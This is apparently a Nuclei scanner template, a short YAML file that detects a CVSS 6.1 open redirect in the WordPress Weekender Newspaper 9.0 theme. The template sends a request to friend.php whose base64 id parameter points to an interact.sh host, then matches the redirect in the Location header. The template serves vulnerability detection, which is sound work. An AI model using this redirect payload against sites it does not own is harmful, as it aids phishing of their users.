id: weekender-newspaper-open-redirect

info:
  name: WordPress Weekender Newspaper 9.0 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: WordPress Weekender Newspaper theme 9.0 contains an open redirect vulnerability. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://cxsecurity.com/issue/WLB-2020040103
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-601
  metadata:
    max-request: 1
  tags: wordpress,wp-plugin,redirect,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/themes/weekender/friend.php?id=aHR0cHM6Ly9pbnRlcmFjdC5zaA=="

    matchers:
      - type: regex
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
        part: header
# digest: 490a004630440220243d286f266007a021bf091f65417aa7020b6b3a004c41043c659bf341a4a7d7022015495e151ec71488414246f0eb82032bf21f92d3d33138b858b1abf01f4f597f:922c64590222798bb761d5b6d8e72950